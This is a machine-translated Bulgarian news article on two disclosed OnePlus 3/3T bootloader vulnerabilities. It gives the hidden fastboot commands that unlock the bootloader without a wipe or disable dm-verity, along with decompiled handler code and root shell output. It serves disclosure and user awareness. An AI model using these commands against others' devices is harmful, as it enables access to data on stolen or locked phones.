За OnePlus 3 и OnePlus 3T бяха открити два недостатъка, свързани с буутлоудъра. Единият е закърпен, другият се решава.
Откакто тази статия беше публикувана, Oxygen OS версия 4.0.3 поправи втората уязвимост на сигурността, обсъждана в тази статия, а именно тази на dm-verity.
Преди да влезете в прекрасния свят на руутване на Android, персонализирани ROM, ядра и други модификации, първо трябва да отключите буутлоудъра на вашето устройство.
На някои устройства (особено тези с марка оператор) това представлява проблем, тъй като потребителите трябва да се справят със значителни технически препятствия, преди да могат да отключат буутлоудъра. Други устройства, като например телефоните на Huawei, изискват от вас да подадете петиция до OEM за уникален код за отключване на буутлоудъра - незначителна бариера за навлизане, но не много трудна. Още по-добри са серията Google Nexus/Pixel или телефоните OnePlus, които изискват само да отметнете опция в настройките за разработчици, след което да изпратите няколко бързо стартиране команди.
Но колкото и трудно да е отключването на вашия буутлоудър, едно нещо винаги ще остане постоянно: изискването за изтриване на устройството при отключване. Това се прави по очевидни причини за сигурност, тъй като целият ви дял с данни може лесно да бъде извлечен, след като буутлоудърът бъде отключен. Злонамерен субект (с техническото ноу-хау) може да стартира флаш персонализирано възстановяване и да извлече пълно архивиране на вашето устройство, ако получи достъп до вашите данни. Ето защо отключването на вашия буутлоудър се счита за риск за сигурността и поради тази причина устройството ви се изтрива след отключване. Ако приемем, че всичко върви както трябва, редовният потребител трябва да е в безопасност от нападатели, които отключват буутлоудъра, за да заобиколят стандартните методи за заключване на Android. Не всичко върви по план обаче.
Уязвимост при отключване на буутлоудъра на OnePlus 3/3T
Нов набор от уязвимости беше току-що разкрито от Roee Hay (@roeehay), първият от които позволява отключване на буутлоудъра на OnePlus 3/3T без потвърждение от потребителя и без задействане на фабрично нулиране. Тази уязвимост е обозначена CVE-2017-5625, се счита за критична уязвимост и засяга всички устройства OnePlus 3/3T, работещи на OxygenOS 3.2-4.0.1. Потребителите, които вече са надстроили до инкрементален OxygenOS 4.0.2 актуализация не са засегнати от тази уязвимост, тъй като г-н Хей лично разкри този недостатък на OnePlus на 23 януари за да могат незабавно да коригират проблема.
Пропускът работи чрез изпращане на собствена, скрита команда за бързо зареждане: fastboot oem 4F500301
. Чрез изпращане на тази команда състоянието на заключване на буутлоудъра на потребителя се заобикаля (дори когато „Разрешаване на OEM отключване“ не е активирано в настройките за разработчици). Устройството не подканва потребителя, нито изтрива устройството, както би трябвало да бъде - всъщност устройството пак ще докладва, че буутлоудърът е заключен! Друга команда за бързо стартиране, fastboot oem 4F500302
, ще нулира някои настройки на буутлоудъра и може да се използва за заключване на вече отключено устройство.
Г-н Хей откри, че първата команда за бързо стартиране задава това, което той нарече "magicFlag", което отменя проверката, която определя състоянието на заключване на буутлоудъра при изпълнение на команда за мигане или изтриване.
// 'oem 4F500301' handler
intsub_918427F0()
{
magicFlag_dword_91989C10 = 1;
if ( dword_9198D804 != dword_9198D804 )
assert(1, dword_9198D804, dword_9198D804);
return sendOK((int)"", dword_9198D804);
}
Fastboot Flash Handler
// 'flash' handler
constchar *__fastcall sub_91847EEC(char *partitionName, int *a2, int a3)
{
char *pname; // r5@1
...
pname = partitionName;
v4 = a2;
v5 = a3;
if ( returnTRUE1(partitionName, (int)a2) )
{
result = (constchar *)sub_918428F0(pname, v6);
if ( (result || magicFlag_dword_91989C10)
&& ((result = (constchar *)sub_91842880(pname, v10)) != 0 || magicFlag_dword_91989C10) )
{
result = (constchar *)sub_918428F0(pname, v10);
if ( !result || magicFlag_dword_91989C10 )
goto LABEL_7;
v8 = dword_9198D804;
if ( dword_9198D804 != dword_9198D804 )
goto LABEL_28;
v11 = "Critical partition flashing is not allowed";
}
else
{
v8 = dword_9198D804;
if ( dword_9198D804 != dword_9198D804 )
goto LABEL_28;
v11 = "Partition flashing is not allowed";
}
return (constchar *)FAIL2((int)v11, v10);
}
LABEL_7:
...
if ( *v4 != 0xED26FF3A )
{
if ( *v4 == 0xCE1AD63C )
cmd_flash_meta_img(pname, (unsigned int)v4, v5);
else
cmd_flash_mmc_img(pname, (int)v4, v5);
goto LABEL_10;
}
v7 = v4;
}
cmd_flash_mmc_sparse_img(pname, (int)v7, v5);
...
}
Прочетете още
Fastboot Erase Handler
// 'erase' handler
int __fastcall sub_91847118(char *partitionName, int a2, int a3)
{
...
v3 = partitionName;
v4 = returnTRUE1(partitionName, a2);
if ( !v4 )
{
LABEL_7:
...
if ( v4 )
{
if ( dword_9198D804 == dword_9198D804 )
return eraseParition(v3);
}
...
}
v4 = sub_918428F0(v3, v5);
if ( !v4 && !magicFlag_dword_91989C10 )
{
v6 = dword_9198D804;
if ( dword_9198D804 == dword_9198D804 )
{
v7 = "Partition erase is not allowed";
return FAIL2((int)v7, v5);
}
goto LABEL_23;
}
v4 = sub_91842880(v3, v5);
if ( !v4 && !magicFlag_dword_91989C10 )
{
v6 = dword_9198D804;
if ( dword_9198D804 == dword_9198D804 )
{
v7 = "Partition flashing is not allowed";
return FAIL2((int)v7, v5);
}
LABEL_23:
assert(v4, v5, v6);
}
v4 = sub_918428F0(v3, v5);
if ( !v4 || magicFlag_dword_91989C10 )
goto LABEL_7;
v6 = dword_9198D804;
...
v7 = "Critical partition erase is not allowed";
return FAIL2((int)v7, v5);
}
Прочетете още
CVE-2017-5626 може да се използва за изпълнете кода на ядрото. Нападателят може да флашне всяко изображение за зареждане, което пожелае. Въпреки това, ако флашнат модифициран образ за зареждане, Verified Boot ще се включи и ще предупреди потребителя, че е открита модификация. Един от начините, по който това може да бъде заобиколено, е да се флашне по-старо, немодифицирано изображение за стартиране - такова, което съдържа по-стари експлойти, които след това са били коригирани. Въпреки това „предупреждението“, което получавате, продължава само 5 секунди и автоматично се отхвърля и се зарежда в състояние verifiedboot, където кодът на атакуващия все още ще се изпълнява.
Г-н Хей споменава, че има много начини, по които този недостатък може да бъде използван по злонамерен начин. Например, той модифицира изображение за зареждане, за да зададе режим SELinux разрешителен както и автоматично включване на ADB достъп при зареждане. След това, след като използва тази уязвимост, за да флашне своя модифициран образ за зареждане, той успя да получи достъп до a root shell, преди потребителят дори да може да въведе своите идентификационни данни.
OnePlus3:/ # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),
1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),
3003(inet),3006(net_bw_stats),3009(readproc) context=u: r: su: s0
OnePlus3:/ # getenforce
Permissive
Излишно е да казвам, че това е доста сериозно. Откраднато или блокирано устройство, което смятате за безопасно поради типичните ви мерки за сигурност, може да бъде напълно победено с помощта на този експлойт.
OnePlus 3/3T SELinux уязвимост
Втората уязвимост, обозначена CVE-2017-5624, засяга всички версии на OxygenOS и позволява на човек да деактивирайте dm-verity. Г-н Хей разкри тази уязвимост на екипа за сигурност на OnePlus на 16 януари, но трябва да се отбележи, че XDA Senior Member th3g1zнезависимо открива тази уязвимост На 23 януари. Говорихме с OnePlus, които са го направили потвърдиха, че са признали и ще поправят тази втора уязвимост в бъдеща актуализация.
Тази атака също е доста лесна за изпълнение. Трябва само да издадете една команда за бързо зареждане, за да деактивирате (или активирате) dm-verity: fastboot oem disable dm-verity
. За да го активирате, просто издайте fastboot oem enable dm-verity
. Манипулаторът за тази команда, взет от дъмп на буутлоудъра, е показан по-долу.
// 'oem disable_dm_verity' handler
intsub_9183B8EC()
{
int v0; // r0@1
int v1; // r1@1
dmVerity_dword_91960740 = 0;
v0 = sub_91845E10("ANDROID-BOOT!");
if ( dword_9198D804 != dword_9198D804 )
assert(v0, v1, dword_9198D804);
return sendOK((int)"", v1);
}
Издаването на тази команда ще зададе флаг, който г-н Хей нарича dmVerity, който се използва от буутлоудъра за изпращане на аргумент от командния ред на ядрото, който може да активира или деактивира dm-verity.
Това може да се използва в комбинация с първата уязвимост за изпълнение на силно привилегирован код на OnePlus 3/3T без съгласието на потребителя - и с достъп до данните на потребителя. Например г-н Хей успя да инсталира приложение в /system/priv-app, което кара приложението да бъде добавено към домейна на priv-app. Това позволява на злонамерено приложение достъп до високо привилегировани функции на устройството. Г-н Хей демонстрира, че и двете уязвимости се използват едновременно във видеото по-долу. Както можете да видите, когато той стартира устройството, създаденото от него приложение се показва като вече предварително инсталирано.
Заключение и бележка от OnePlus
Потенциалните злоупотреби с тези две уязвимости в сигурността са плашещи. Поздравяваме г-н Хей за разкриването на тези уязвимости частно и толкова бързо на OnePlus. Все пак не можем да не се тревожим, че подобни команди за бързо стартиране са достъпни на тези устройства. Когато написахме ръководство за това как да открийте скрити команди за бързо зареждане, нашето намерение беше да информираме потребителите, че може да има някои интересни команди, които могат да използват, за да подобрят опита си. Никога не сме мислили, че такива силно привилегировани команди ще се намират в кода на зареждащия механизъм. Що се отнася до "защо" тези команди за бързо стартиране са включени във фърмуера, получихме a "без коментар."
Засега, ако не сте актуализирали своя OnePlus 3/3T веднага след пускането на всяка версия на Oxygen OS, препоръчваме ви актуализирайте незабавно. Актуализирането до Oxygen OS 4.0.2 ще ви предпази от първата уязвимост, но ще трябва да изчакаме до OnePlus пуска актуализация, която коригира втората уязвимост, преди да можем да кажем, че сте напълно защитени от тези подвизи. Ще трябва да продължим да внимаваме за подобни подвизи в бъдеще.
Източник: Roee Hay